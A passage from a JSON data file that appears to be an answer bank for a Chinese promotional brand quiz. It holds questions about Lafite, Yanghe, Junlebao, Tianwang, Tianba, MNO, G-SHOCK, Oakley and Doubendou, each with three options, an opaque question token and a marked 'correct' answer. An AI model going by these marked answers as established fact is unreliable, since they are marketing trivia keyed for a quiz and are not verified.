04:37:26","status":"1"},{"questionId":"6301443025","questionIndex":"5","questionStem":"拉菲罗斯柴尔德集团哪一年购买的拉菲古堡?","options":"[{\"optionId\":\"LccSx0BXjD4wCT2Ytln6XuksL9JC2XOuAa8\",\"optionDesc\":\"1855年\"},{\"optionId\":\"LccSx0BXjD4wCT2Ytln6XI-GRJrnhxBoW7E\",\"optionDesc\":\"1868年\"},{\"optionId\":\"LccSx0BXjD4wCT2Ytln6X3xxIk30xzxYLUU\",\"optionDesc\":\"1867年\"}]","questionToken":"LccSx0BXjD4wCT3OpRHhCTOYNTPrv9IN7V5m8AWye_ii_j14LJjG45c_Piu5mtoonNL54A3lBMRlr1AvatPxOqLQam2V-Q","correct":"{\"optionId\":\"LccSx0BXjD4wCT2Ytln6XI-GRJrnhxBoW7E\",\"optionDesc\":\"1868年\"}","create_time":"27/1/2021 04:42:53","update_time":"27/1/2021 04:42:53","status":"1"},{"questionId":"6301443026","questionIndex":"2","questionStem":"拉菲入门级标准款红酒是哪一款?","options":"[{\"optionId\":\"LccSx0BXjD4wCj2Ytln6XlUubDt-DlkyXsJO-g\",\"optionDesc\":\"拉菲波尔多\"},{\"optionId\":\"LccSx0BXjD4wCj2Ytln6X0hjx2GYDLNvOkqS6g\",\"optionDesc\":\"拉菲传奇\"},{\"optionId\":\"LccSx0BXjD4wCj2Ytln6XM-NJacDpg72kJxZsw\",\"optionDesc\":\"拉菲传奇波尔多\"}]","questionToken":"LccSx0BXjD4wCj3JpRHhCUyeoMwAqElHHMfzIqqbUm5f2b-_KJr1s3orIXwqYkNIeqmv2WPOTyrbgLXV52kmM8ojp4cxbg","correct":"{\"optionId\":\"LccSx0BXjD4wCj2Ytln6XM-NJacDpg72kJxZsw\",\"optionDesc\":\"拉菲传奇波尔多\"}","create_time":"27/1/2021 04:36:53","update_time":"27/1/2021 04:36:53","status":"1"},{"questionId":"6301443027","questionIndex":"4","questionStem":"拉菲莱斯古堡是拉菲集团哪一年购买的?","options":"[{\"optionId\":\"LccSx0BXjD4wCz2Ytln6X_rNOH64-pareRMsxQ\",\"optionDesc\":\"1988年\"},{\"optionId\":\"LccSx0BXjD4wCz2Ytln6XnygZS9aO7XrD_iy-A\",\"optionDesc\":\"1983年\"},{\"optionId\":\"LccSx0BXjD4wCz2Ytln6XEScIWeAshGaLptKFw\",\"optionDesc\":\"1984年\"}]","questionToken":"LccSx0BXjD4wCz3PpRHhDgWtIJhxubSORZurGasU1I04VGLFN_a1bPuH95li-q-MoVUkz45QNMJL4xuAh3ZZNplcJ6lyhQ","correct":"{\"optionId\":\"LccSx0BXjD4wCz2Ytln6XEScIWeAshGaLptKFw\",\"optionDesc\":\"1984年\"}","create_time":"27/1/2021 04:39:41","update_time":"27/1/2021 04:39:41","status":"1"},{"questionId":"6301443028","questionIndex":"5","questionStem":"洋河酒酿造原料以什么为主?","options":"[{\"optionId\":\"LccSx0BXjD4wBD2Ytln6X15qNBqjfyAm7RLL\",\"optionDesc\":\"小麦、玉米、豌豆\"},{\"optionId\":\"LccSx0BXjD4wBD2Ytln6XpW6hxEiErALUWfb\",\"optionDesc\":\"小麦、玉米、高粱\"},{\"optionId\":\"LccSx0BXjD4wBD2Ytln6XA7GbL2LSVCRFRGX\",\"optionDesc\":\"小麦、大麦、豌豆\\t\\t\"}]","questionToken":"LccSx0BXjD4wBD3OpRHhCaMp-VhWugm-tJoaksbeMu3jc5U0TjJtvJsmTA671j_lrIbqT1yOK-6P5ZN4GJJvTCvs6eletw","correct":"{\"optionId\":\"LccSx0BXjD4wBD2Ytln6XA7GbL2LSVCRFRGX\",\"optionDesc\":\"小麦、大麦、豌豆\\t\\t\"}","create_time":"27/1/2021 04:38:25","update_time":"27/1/2021 04:38:25","status":"1"},{"questionId":"6301443029","questionIndex":"4","questionStem":"洋河酿酒产区坐落于哪个湿地?","options":"[{\"optionId\":\"LccSx0BXjD4wBT2Ytln6X5ea8o5bio1y1EPtug\",\"optionDesc\":\"鄱阳湖\"},{\"optionId\":\"LccSx0BXjD4wBT2Ytln6XCD4AIxioYZO_pzoCQ\",\"optionDesc\":\"洪泽湖\\t\\t\"},{\"optionId\":\"LccSx0BXjD4wBT2Ytln6Xn5JNuiBe_FsVDfNoA\",\"optionDesc\":\"太湖\"}]","questionToken":"LccSx0BXjD4wBT3PpRHhDpoT-Fv6dzzzFS8p86fhRy8fUmdaRillsnmiaLHXXMgF39P7kWYVz7aJjxjenF2u9vRuheBuSQ","correct":"{\"optionId\":\"LccSx0BXjD4wBT2Ytln6XCD4AIxioYZO_pzoCQ\",\"optionDesc\":\"洪泽湖\\t\\t\"}","create_time":"27/1/2021 04:26:03","update_time":"27/1/2021 04:26:03","status":"1"},{"questionId":"6301443030","questionIndex":"3","questionStem":"洋河酒厂有限公司坐落于?","options":"[{\"optionId\":\"LccSx0BXjD4xDD2Ytln6XzhH98pUsCnQ3gE\",\"optionDesc\":\"江苏南京\"},{\"optionId\":\"LccSx0BXjD4xDD2Ytln6XuaG1RE1JcWRKRI\",\"optionDesc\":\"江苏徐州\"},{\"optionId\":\"LccSx0BXjD4xDD2Ytln6XEPiXSovfArROew\",\"optionDesc\":\"江苏宿迁\\t\\t\"}]","questionToken":"LccSx0BXjD4xDD3IpRHhCaaZemkyzCoq5o1ZJ2qa_C8VRPc2Oe80Hve2z1_bzxW26eUuc2i0thprYbMP6QDbMDarCk6EWA","correct":"{\"optionId\":\"LccSx0BXjD4xDD2Ytln6XEPiXSovfArROew\",\"optionDesc\":\"江苏宿迁\\t\\t\"}","create_time":"27/1/2021 04:39:22","update_time":"27/1/2021 04:39:22","status":"1"},{"questionId":"6301443031","questionIndex":"4","questionStem":"君乐宝至臻系列形象大使是谁?","options":"[{\"optionId\":\"LccSx0BXjD4xDT2Ytln6Xne0wCqX0N1Ku8lf\",\"optionDesc\":\"姚明\"},{\"optionId\":\"LccSx0BXjD4xDT2Ytln6X4BJloj7-2mZVmKk\",\"optionDesc\":\"张继科\"},{\"optionId\":\"LccSx0BXjD4xDT2Ytln6XG9ZMXnHWtWnUgNg\",\"optionDesc\":\"易建联\\t\\t\"}]","questionToken":"LccSx0BXjD4xDT3PpRHhDkZONkYGItwMHC9PRAi-GQIrj1LBJONkx-q040CEmUOqRk6MekFTw4m__aaXDNScoVjjekAE5w","correct":"{\"optionId\":\"LccSx0BXjD4xDT2Ytln6XG9ZMXnHWtWnUgNg\",\"optionDesc\":\"易建联\\t\\t\"}","create_time":"27/1/2021 04:41:08","update_time":"27/1/2021 04:41:08","status":"1"},{"questionId":"6301443032","questionIndex":"4","questionStem":"君乐宝是哪个国家的品牌?","options":"[{\"optionId\":\"LccSx0BXjD4xDj2Ytln6XPzrwFOF4sUemG4qKQ\",\"optionDesc\":\"中国\\t\\t\"},{\"optionId\":\"LccSx0BXjD4xDj2Ytln6XoVBTZHWvMbTVNUFdw\",\"optionDesc\":\"意大利\"},{\"optionId\":\"LccSx0BXjD4xDj2Ytln6XyIaQksyvDizHk47AA\",\"optionDesc\":\"英国\"}]","questionToken":"LccSx0BXjD4xDj3PpRHhDn8HxcV1n6iiXy4TR1wDWhbnbwO7bzgkgPq6S90NJdjEHkJU1R4tNsRQfMPQMfcu7zL0vzFyOg","correct":"{\"optionId\":\"LccSx0BXjD4xDj2Ytln6XPzrwFOF4sUemG4qKQ\",\"optionDesc\":\"中国\\t\\t\"}","create_time":"27/1/2021 04:41:07","update_time":"27/1/2021 04:41:07","status":"1"},{"questionId":"6301443033","questionIndex":"5","questionStem":"君乐宝优萃系列有机生牛乳通过几次成粉? ","options":"[{\"optionId\":\"LccSx0BXjD4xDz2Ytln6X4k65a7bMoaW-t0\",\"optionDesc\":\"2次\"},{\"optionId\":\"LccSx0BXjD4xDz2Ytln6XGPojhdgOXx-3BQ\",\"optionDesc\":\"1次\\t\\t\"},{\"optionId\":\"LccSx0BXjD4xDz2Ytln6Xjk699Sz4xknLV4\",\"optionDesc\":\"3次\"}]","questionToken":"LccSx0BXjD4xDz3OpRHhCd81jzMz8B7Kky7irdTal6rpUFDVMyhvi_0vwpcclR6pX12_anwH96avhDbnYkbG1jBxP8NuXw","correct":"{\"optionId\":\"LccSx0BXjD4xDz2Ytln6XGPojhdgOXx-3BQ\",\"optionDesc\":\"1次\\t\\t\"}","create_time":"27/1/2021 04:48:37","update_time":"27/1/2021 04:48:37","status":"1"},{"questionId":"6301443034","questionIndex":"2","questionStem":"君乐宝诠维爱系列包装罐上的是哪个动画片?","options":"[{\"optionId\":\"LccSx0BXjD4xCD2Ytln6XAyANEpRYB6quyM\",\"optionDesc\":\"熊出没\"},{\"optionId\":\"LccSx0BXjD4xCD2Ytln6X_1R33sagPy7krg\",\"optionDesc\":\"花园宝宝\"},{\"optionId\":\"LccSx0BXjD4xCD2Ytln6Xvegkg-z4RfXLH8\",\"optionDesc\":\"喜羊羊与灰太狼\"}]","questionToken":"LccSx0BXjD4xCD3JpRHhDrg4omDF0BxOM7zMPM9UijsESm71oxQOOSeltG9y95TuDkTimxEYy_OHsrSg1aohViX77G-cPg","correct":"{\"optionId\":\"LccSx0BXjD4xCD2Ytln6XAyANEpRYB6quyM\",\"optionDesc\":\"熊出没\"}","create_time":"27/1/2021 04:44:26","update_time":"27/1/2021 04:44:26","status":"1"},{"questionId":"6301443035","questionIndex":"5","questionStem":"君乐宝哪个系列奶粉有助于宝宝骨骼发育?","options":"[{\"optionId\":\"LccSx0BXjD4xCT2Ytln6Xw5uC9As9YrsxwpDNQ\",\"optionDesc\":\"优萃\"},{\"optionId\":\"LccSx0BXjD4xCT2Ytln6XFL5tzOZTOxECLfzxA\",\"optionDesc\":\"至臻\\t\\t\"},{\"optionId\":\"LccSx0BXjD4xCT2Ytln6XgKVwl0h69psK6VbJQ\",\"optionDesc\":\"乐铂\"}]","questionToken":"LccSx0BXjD4xCT3OpRHhCSpel_OUuIug1mAzn11JKOCgq01_UZbTdd-BHtwNwkoXJWuQnN1D5PLtUbsQLBouSrTituB7cw","correct":"{\"optionId\":\"LccSx0BXjD4xCT2Ytln6XFL5tzOZTOxECLfzxA\",\"optionDesc\":\"至臻\\t\\t\"}","create_time":"27/1/2021 04:35:24","update_time":"27/1/2021 04:35:24","status":"1"},{"questionId":"6301443036","questionIndex":"3","questionStem":"天王表品牌成立了多长时间?","options":"[{\"optionId\":\"LccSx0BXjD4xCj2Ytln6XsFEiUJtbArst9Q\",\"optionDesc\":\"25年\"},{\"optionId\":\"LccSx0BXjD4xCj2Ytln6XCfZHZLtnMCXLU0\",\"optionDesc\":\"33年\"},{\"optionId\":\"LccSx0BXjD4xCj2Ytln6X70gCWjQOWmHvX4\",\"optionDesc\":\"20年\"}]","questionToken":"LccSx0BXjD4xCj3IpRHhDk3uJ-KA-PX9uCQfV-PzhsHQfdyyGPouiTlpyvljwLgvheqKbeDwHgPElesV1L8IzBGkSAv-9A","correct":"{\"optionId\":\"LccSx0BXjD4xCj2Ytln6XCfZHZLtnMCXLU0\",\"optionDesc\":\"33年\"}","create_time":"27/1/2021 04:48:50","update_time":"27/1/2021 04:48:50","status":"1"},{"questionId":"6301443037","questionIndex":"3","questionStem":"天王表是哪个国家的品牌?","options":"[{\"optionId\":\"LccSx0BXjD4xCz2Ytln6XPBPR9oZRdZYH3Q\",\"optionDesc\":\"中国\\t\\t\"},{\"optionId\":\"LccSx0BXjD4xCz2Ytln6XhEiMI0dQCLpkus\",\"optionDesc\":\"韩国\"},{\"optionId\":\"LccSx0BXjD4xCz2Ytln6X_0qPwkvt8saBmA\",\"optionDesc\":\"日本\"}]","questionToken":"LccSx0BXjD4xCz3IpRHhCc0OCGOd6fxZp5yn0OtaXC0to3KmKnoWBZS02VK3tO-cSY9c8oPMqDiRSruS0WPGtQ-Ff5D5mQ","correct":"{\"optionId\":\"LccSx0BXjD4xCz2Ytln6XPBPR9oZRdZYH3Q\",\"optionDesc\":\"中国\\t\\t\"}","create_time":"27/1/2021 04:42:49","update_time":"27/1/2021 04:42:49","status":"1"},{"questionId":"6301443038","questionIndex":"4","questionStem":"天王表的品牌logo是什么形状的?","options":"[{\"optionId\":\"LccSx0BXjD4xBD2Ytln6X3fVjLgAxUjkeu1HMA\",\"optionDesc\":\"英雄\"},{\"optionId\":\"LccSx0BXjD4xBD2Ytln6XE8ZLY4B1_WX_nW8Qw\",\"optionDesc\":\"皇冠形状\\t\\t\"},{\"optionId\":\"LccSx0BXjD4xBD2Ytln6XoNjgz97nh1vWFanuA\",\"optionDesc\":\"星星\"}]","questionToken":"LccSx0BXjD4xBD3PpRHhDvWIOjV7WzuhnjrfCtymFvZ1Em7J2TQlRptgxQAVQG6koza-AAL0e-Tdozm3B5Ac9j6JqrukYg","correct":"{\"optionId\":\"LccSx0BXjD4xBD2Ytln6XE8ZLY4B1_WX_nW8Qw\",\"optionDesc\":\"皇冠形状\\t\\t\"}","create_time":"27/1/2021 04:43:45","update_time":"27/1/2021 04:43:45","status":"1"},{"questionId":"6301443039","questionIndex":"2","questionStem":"天王表总部在哪个城市?","options":"[{\"optionId\":\"LccSx0BXjD4xBT2Ytln6XmXW86xOunRk-6o\",\"optionDesc\":\"上海\"},{\"optionId\":\"LccSx0BXjD4xBT2Ytln6X3XtC-J1hVXUhhA\",\"optionDesc\":\"北京\"},{\"optionId\":\"LccSx0BXjD4xBT2Ytln6XN2FvR4p1ffkPck\",\"optionDesc\":\"深圳\\t\\t\"}]","questionToken":"LccSx0BXjD4xBT3JpRHhDixCoz4Dp5dzkLVP9QVgnk_VaJcjLEtdGUtmcabdvvdaNRMZbhKA7ghvM0ONbn2hjWUIk9W8WA","correct":"{\"optionId\":\"LccSx0BXjD4xBT2Ytln6XN2FvR4p1ffkPck\",\"optionDesc\":\"深圳\\t\\t\"}","create_time":"27/1/2021 04:40:09","update_time":"27/1/2021 04:40:09","status":"1"},{"questionId":"6301443040","questionIndex":"1","questionStem":"天王表年销多少只?","options":"[{\"optionId\":\"LccSx0BXjD42DD2Ytln6XiiANAO3-QbYlOx8KA\",\"optionDesc\":\"200多万\"},{\"optionId\":\"LccSx0BXjD42DD2Ytln6XMmNKquS-59wQAaxEA\",\"optionDesc\":\"300多万\\t\\t\"},{\"optionId\":\"LccSx0BXjD42DD2Ytln6X7Wuz3iCCIB1XUcp2w\",\"optionDesc\":\"100多万\"}]","questionToken":"LccSx0BXjD42DD3KpRHhCdPHn34u7GX3frXSikSxGfEbofkVluUg-IWUnaLLKLBq9MmzIEkKt7ho0Sqeqcv7WZB5EbDElA","correct":"{\"optionId\":\"LccSx0BXjD42DD2Ytln6XMmNKquS-59wQAaxEA\",\"optionDesc\":\"300多万\\t\\t\"}","create_time":"27/1/2021 04:36:41","update_time":"27/1/2021 04:36:41","status":"1"},{"questionId":"6301443041","questionIndex":"5","questionStem":"天霸成立于哪一年?","options":"[{\"optionId\":\"LccSx0BXjD42DT2Ytln6XOqeORd7RSGaOg4EBg\",\"optionDesc\":\"1982年\\t\\t\"},{\"optionId\":\"LccSx0BXjD42DT2Ytln6XiU-rZZYKQ_cN2evXQ\",\"optionDesc\":\"1985年\"},{\"optionId\":\"LccSx0BXjD42DT2Ytln6Xx3oMbOdVIKo-CG1BA\",\"optionDesc\":\"1983年\"}]","questionToken":"LccSx0BXjD42DT3OpRHhCZDc7wYqwb_X8AIrxlHGQdB8yy1hw06qi8KD2vqIjRqy9jrxJSGjTyi5eznbAZeb96lz9pzH5Q","correct":"{\"optionId\":\"LccSx0BXjD42DT2Ytln6XOqeORd7RSGaOg4EBg\",\"optionDesc\":\"1982年\\t\\t\"}","create_time":"27/1/2021 04:44:19","update_time":"27/1/2021 04:44:19","status":"1"},{"questionId":"6301443042","questionIndex":"1","questionStem":"天霸总部在哪个城市?","options":"[{\"optionId\":\"LccSx0BXjD42Dj2Ytln6XqOQKm0aHY8ewosMSw\",\"optionDesc\":\"珠海\"},{\"optionId\":\"LccSx0BXjD42Dj2Ytln6XO3jPOhQHx905CKhIQ\",\"optionDesc\":\"深圳\\t\\t\"},{\"optionId\":\"LccSx0BXjD42Dj2Ytln6XyoaylCeC2ULIjwRCQ\",\"optionDesc\":\"广州\"}]","questionToken":"LccSx0BXjD42Dj3KpRHhCeF3mX23zBV6mXDu2eiVpZ01K3Brlf69isNIknn7VYs9p30sVLZp3d1ieZ3Vo1yiEnRyU8qdfQ","correct":"{\"optionId\":\"LccSx0BXjD42Dj2Ytln6XO3jPOhQHx905CKhIQ\",\"optionDesc\":\"深圳\\t\\t\"}","create_time":"27/1/2021 04:36:52","update_time":"27/1/2021 04:36:52","status":"1"},{"questionId":"6301443043","questionIndex":"5","questionStem":"天霸品牌成立了多久?","options":"[{\"optionId\":\"LccSx0BXjD42Dz2Ytln6XJZNyM25rNgFyg\",\"optionDesc\":\"39年\\t\\t\"},{\"optionId\":\"LccSx0BXjD42Dz2Ytln6X-251HVDJDgj-Q\",\"optionDesc\":\"20年\"},{\"optionId\":\"LccSx0BXjD42Dz2Ytln6XptGZJeqpIv1Wg\",\"optionDesc\":\"30年\"}]","questionToken":"LccSx0BXjD42Dz3OpRHhDumtaPmPn7iAggQprYdhocd4j9uickMWBauCE8gKqerc56f6anGmZTfxGhCm8TaWnYsBgX-GTg","correct":"{\"optionId\":\"LccSx0BXjD42Dz2Ytln6XJZNyM25rNgFyg\",\"optionDesc\":\"39年\\t\\t\"}","create_time":"27/1/2021 04:41:17","update_time":"27/1/2021 04:41:17","status":"1"},{"questionId":"6301443044","questionIndex":"5","questionStem":"MNO品牌的宣传语是哪个?","options":"[{\"optionId\":\"LccSx0BXjD42CD2Ytln6XpeLBuABYHnZpvBK\",\"optionDesc\":\"拒绝随波逐流\"},{\"optionId\":\"LccSx0BXjD42CD2Ytln6X2QSGgd_78mD69kU\",\"optionDesc\":\"人生时刻的记忆\"},{\"optionId\":\"LccSx0BXjD42CD2Ytln6XNyd3_VFOtWs55xR\",\"optionDesc\":\"梦梭时刻让你感动\"}]","questionToken":"LccSx0BXjD42CD3OpRHhCeOSIG0BDHJbumiKxhuP_1A6BNBMUKGvd7sKJkGEneuSq2_wkuXaLTSB77j0m1yuVz4LqkxH0A","correct":"{\"optionId\":\"LccSx0BXjD42CD2Ytln6XNyd3_VFOtWs55xR\",\"optionDesc\":\"梦梭时刻让你感动\"}","create_time":"27/1/2021 04:45:12","update_time":"27/1/2021 04:45:12","status":"1"},{"questionId":"6301443045","questionIndex":"3","questionStem":"MNO男表的包装盒是什么颜色?","options":"[{\"optionId\":\"LccSx0BXjD42CT2Ytln6Xj0tzCCBEqJ7LObn\",\"optionDesc\":\"红色\"},{\"optionId\":\"LccSx0BXjD42CT2Ytln6X_KVqvukoJf0kw3h\",\"optionDesc\":\"蓝色\"},{\"optionId\":\"LccSx0BXjD42CT2Ytln6XEq_viXsLcYGP384\",\"optionDesc\":\"白色\\t\\t\"}]","questionToken":"LccSx0BXjD42CT3IpRHhCT0TdXrIidoX5hWy4fbAEK6QXRS2SUu8xTKuRd6-huv3ooCMj5vSZCys6Qcuqwp72p2M6_tpew","correct":"{\"optionId\":\"LccSx0BXjD42CT2Ytln6XEq_viXsLcYGP384\",\"optionDesc\":\"白色\\t\\t\"}","create_time":"27/1/2021 04:31:39","update_time":"27/1/2021 04:31:39","status":"1"},{"questionId":"6301443046","questionIndex":"5","questionStem":"G-SHOCK诞生于哪年?","options":"[{\"optionId\":\"LccSx0BXjD42Cj2Ytln6XP52MeTKI6I5RgFK\",\"optionDesc\":\"1983年\\t\\t\"},{\"optionId\":\"LccSx0BXjD42Cj2Ytln6XonDL8ophxeg632E\",\"optionDesc\":\"1982年\"},{\"optionId\":\"LccSx0BXjD42Cj2Ytln6X5glCfJVy6AcE5ZK\",\"optionDesc\":\"1981年\"}]","questionToken":"LccSx0BXjD42Cj3OpRHhDpi9WK-AZwyqPA0P_v16mFAU9z51QPw16IPR361V9koV8tAwq9P8njtxUnlwH70p-CJVUs5Gng","correct":"{\"optionId\":\"LccSx0BXjD42Cj2Ytln6XP52MeTKI6I5RgFK\",\"optionDesc\":\"1983年\\t\\t\"}","create_time":"27/1/2021 04:35:34","update_time":"27/1/2021 04:35:34","status":"1"},{"questionId":"6301443047","questionIndex":"2","questionStem":"卡西欧手表核心卖点是什么?","options":"[{\"optionId\":\"LccSx0BXjD42Cz2Ytln6XBWE5-buyzBcy-k16w\",\"optionDesc\":\"多功能且易操作\\t\"},{\"optionId\":\"LccSx0BXjD42Cz2Ytln6XnNeXzuHBAIyR_17kA\",\"optionDesc\":\"200米防水\"},{\"optionId\":\"LccSx0BXjD42Cz2Ytln6X9Ply2B338V9Lbt6QA\",\"optionDesc\":\"耐摔\"}]","questionToken":"LccSx0BXjD42Cz3JpRHhCQo4MA1iusKaB8fJfZK2I75XmpPzXsw5bhAi2faAFom7mHSqxOO0gCBkdAWUj3earggdSAcZbQ","correct":"{\"optionId\":\"LccSx0BXjD42Cz2Ytln6XBWE5-buyzBcy-k16w\",\"optionDesc\":\"多功能且易操作\\t\"}","create_time":"27/1/2021 04:49:36","update_time":"27/1/2021 04:49:36","status":"1"},{"questionId":"6301443048","questionIndex":"4","questionStem":"G-SHOCK初代表是哪款?","options":"[{\"optionId\":\"LccSx0BXjD42BD2Ytln6X_tr2bD8onozH7Xzyw\",\"optionDesc\":\"DW-5600\"},{\"optionId\":\"LccSx0BXjD42BD2Ytln6Xk16uk_FAtdq4lzjpA\",\"optionDesc\":\"DW-6900\"},{\"optionId\":\"LccSx0BXjD42BD2Ytln6XMrQWmmlVsYUYhmNPA\",\"optionDesc\":\"DW-5000C\\t\\t\"}]","questionToken":"LccSx0BXjD42BD3PpRHhDiMNt653-Iw11uzFgDSWRWD7QGiHPyjZNakUF-ZCROZ9s-MkHhXJGXeP8M-9tFpu1FdF3wH1OQ","correct":"{\"optionId\":\"LccSx0BXjD42BD2Ytln6XMrQWmmlVsYUYhmNPA\",\"optionDesc\":\"DW-5000C\\t\\t\"}","create_time":"27/1/2021 04:51:47","update_time":"27/1/2021 04:51:47","status":"1"},{"questionId":"6301443049","questionIndex":"4","questionStem":"G-SHOCK源于什么信念?","options":"[{\"optionId\":\"LccSx0BXjD42BT2Ytln6XhLkLgkT55wWXmU\",\"optionDesc\":\"创新为上\"},{\"optionId\":\"LccSx0BXjD42BT2Ytln6XGlC9mAiDc0-dc0\",\"optionDesc\":\"造一只坚固的手表\\t\"},{\"optionId\":\"LccSx0BXjD42BT2Ytln6Xx6O9vXvGPaYU4U\",\"optionDesc\":\"突破自我\"}]","questionToken":"LccSx0BXjD42BT3PpRHhCYcywZ57rUWwFfyM4AETXiYAVv9bc9e6jXxN6YFf5vYdVEmFnL0asTXZCteKn7IMxNELuxPHow","correct":"{\"optionId\":\"LccSx0BXjD42BT2Ytln6XGlC9mAiDc0-dc0\",\"optionDesc\":\"造一只坚固的手表\\t\"}","create_time":"27/1/2021 04:49:49","update_time":"27/1/2021 04:49:49","status":"1"},{"questionId":"6301443050","questionIndex":"4","questionStem":"以下哪个是Oakley的特色主打商品?","options":"[{\"optionId\":\"LccSx0BXjD43DD2Ytln6X-Nw4iFAyVSmC0kv7w\",\"optionDesc\":\"服装\"},{\"optionId\":\"LccSx0BXjD43DD2Ytln6XAFIqCUTOptNgtEa5w\",\"optionDesc\":\"运动太阳镜\\t\\t\"},{\"optionId\":\"LccSx0BXjD43DD2Ytln6XvmT66IdBWdRzEiY_w\",\"optionDesc\":\"头盔\"}]","questionToken":"LccSx0BXjD43DD3PpRHhCSntUkV6RkUcoGOTdMZP7UKmOFNmb9IrpteQHhnVq6Ksd3UalH_l-cUNHDC7ZjrdxaKfI7oVuQ","correct":"{\"optionId\":\"LccSx0BXjD43DD2Ytln6XAFIqCUTOptNgtEa5w\",\"optionDesc\":\"运动太阳镜\\t\\t\"}","create_time":"27/1/2021 03:40:35","update_time":"27/1/2021 03:40:35","status":"1"},{"questionId":"6301443051","questionIndex":"4","questionStem":"Oakley是来自哪个国家的品牌?","options":"[{\"optionId\":\"LccSx0BXjD43DT2Ytln6XqYL64AcAJCeSrPTog\",\"optionDesc\":\"日本\"},{\"optionId\":\"LccSx0BXjD43DT2Ytln6X0oT0zYe86VEqkLVzg\",\"optionDesc\":\"意大利\"},{\"optionId\":\"LccSx0BXjD43DT2Ytln6XDiwymvh4Li6a5_qOw\",\"optionDesc\":\"美国\\t\\t\"}]","questionToken":"LccSx0BXjD43DT3PpRHhDvCirOYuGtyu3eIqioN5R-mdfGPCrkGQtfyrE-ZpgVN4IYodAnI9ZEBC__52OvmtTHwouFmrFA","correct":"{\"optionId\":\"LccSx0BXjD43DT2Ytln6XDiwymvh4Li6a5_qOw\",\"optionDesc\":\"美国\\t\\t\"}","create_time":"27/1/2021 04:50:56","update_time":"27/1/2021 04:50:56","status":"1"},{"questionId":"6301443052","questionIndex":"3","questionStem":"Oakley品牌始于哪一年?","options":"[{\"optionId\":\"LccSx0BXjD43Dj2Ytln6X-a1_vOnbx_3r5b4\",\"optionDesc\":\"1980\"},{\"optionId\":\"LccSx0BXjD43Dj2Ytln6XuHcnP_mWcOyvzI5\",\"optionDesc\":\"1985\"},{\"optionId\":\"LccSx0BXjD43Dj2Ytln6XK8ZHfqcViUk9xRh\",\"optionDesc\":\"1975\\t\\t\"}]","questionToken":"LccSx0BXjD43Dj3IpRHhCWdd3vxhevSr6g1H1ECqWDrnPIaAA8PTCBvUsHBUQNFlce5oukeHID9RpO2l4UWq8DcM1C3OjQ","correct":"{\"optionId\":\"LccSx0BXjD43Dj2Ytln6XK8ZHfqcViUk9xRh\",\"optionDesc\":\"1975\\t\\t\"}","create_time":"27/1/2021 04:45:20","update_time":"27/1/2021 04:45:20","status":"1"},{"questionId":"6301443053","questionIndex":"2","questionStem":"Oakley冬季主推产品是什么?","options":"[{\"optionId\":\"LccSx0BXjD43Dz2Ytln6XN88RMy-2Lnxzmc\",\"optionDesc\":\"滑雪镜\\t\\t\"},{\"optionId\":\"LccSx0BXjD43Dz2Ytln6X3j5DPMwVRPWZfs\",\"optionDesc\":\"光学镜\"},{\"optionId\":\"LccSx0BXjD43Dz2Ytln6XoNq7PBqkcu6n1A\",\"optionDesc\":\"休闲太阳镜\"}]","questionToken":"LccSx0BXjD43Dz3JpRHhDg5359siEW4QhFTpDjRa3ApcyKXD3h32pxc7-M13gEE9nHe51EMix_zU-RruZ-TkLLcEYvSkKQ","correct":"{\"optionId\":\"LccSx0BXjD43Dz2Ytln6XN88RMy-2Lnxzmc\",\"optionDesc\":\"滑雪镜\\t\\t\"}","create_time":"27/1/2021 04:49:28","update_time":"27/1/2021 04:49:28","status":"1"},{"questionId":"6301443054","questionIndex":"5","questionStem":"豆本豆的限定农场是在哪个纬度区间?","options":"[{\"optionId\":\"LccSx0BXjD43CD2Ytln6XMcIiwvRJLQW5IZ4QA\",\"optionDesc\":\"北纬43°-53°\\t\\t\"},{\"optionId\":\"LccSx0BXjD43CD2Ytln6X8p6Jx6WwFsnBCGdOQ\",\"optionDesc\":\"北纬32°-42°\"},{\"optionId\":\"LccSx0BXjD43CD2Ytln6XnRmDb19_9fMJxEiGw\",\"optionDesc\":\"北纬46°-56°\"}]","questionToken":"LccSx0BXjD43CD3OpRHhCZLScwxlIwIfnGGCE-3mPI_f3S6Ji1gy9QTZv8vrfQE0P7TPqrkyAv9YWcjuD0bb8JYt2bNtVg","correct":"{\"optionId\":\"LccSx0BXjD43CD2Ytln6XMcIiwvRJLQW5IZ4QA\",\"optionDesc\":\"北纬43°-53°\\t\\t\"}","create_time":"27/1/2021 04:36:29","update_time":"27/1/2021 04:36:29","status":"1"},{"questionId":"6301443055","questionIndex":"5","questionStem":"豆本豆系列豆奶未含糖的产品为?","options":"[{\"optionId\":\"LccSx0BXjD43CT2Ytln6X_elMAdXFY4YFOqOmQ\",\"optionDesc\":\"原味豆奶系列\"},{\"optionId\":\"LccSx0BXjD43CT2Ytln6XgTM8r7RQ5v67FjMmQ\",\"optionDesc\":\"有机豆奶系列\"},{\"optionId\":\"LccSx0BXjD43CT2Ytln6XFEuRAWWOP4-oqvOhw\",\"optionDesc\":\"纯豆奶系列\\t\\t\"}]","questionToken":"LccSx0BXjD43CT3OpRHhDmE1dNoLqyoli4M9VxOQI6F_LKL3b-fVHWlXuTB4Oo7CA3RPI9hcLyNUiIs4njEUxgHGqgj3BQ","correct":"{\"optionId\":\"LccSx0BXjD43CT2Ytln6XFEuRAWWOP4-oqvOhw\",\"optionDesc\":\"纯豆奶系列\\t\\t\"}","create_time":"27/1/2021 04:33:18","update_time":"27/1/2021 04:33:18","status":"1"},{"questionId":"6301443057","questionIndex":"5","questionStem":"豆本豆的核心卖点是什么?","options":"[{\"optionId\":\"LccSx0BXjD43Cz2Ytln6XN98c-53WfG7ViwfsA\",\"optionDesc\":\"植物营养0负担\"},{\"optionId\":\"LccSx0BXjD43Cz2Ytln6XuP6WJAhUUtp7LlOIw\",\"optionDesc\":\"东北黑土地种植\"},{\"optionId\":\"LccSx0BXjD43Cz2Ytln6X2GDOsuOAHUkT0hCRg\",\"optionDesc\":\"无糖美味\"}]","questionToken":"LccSx0BXjD43Cz3OpRHhDjG997u8sf0CSLqkXoE_E4CgkjOy82L1jiyj_wExwbxfKAwh77YNrXFkyRC7YKedkML3inoAgQ","correct":"{\"optionId\":\"LccSx0BXjD43Cz2Ytln6XN98c-53WfG7ViwfsA\",\"optionDesc\":\"植物营养0负担\"}","create_time":"27/1/2021 04:48:53","update_time":"27/1/2021 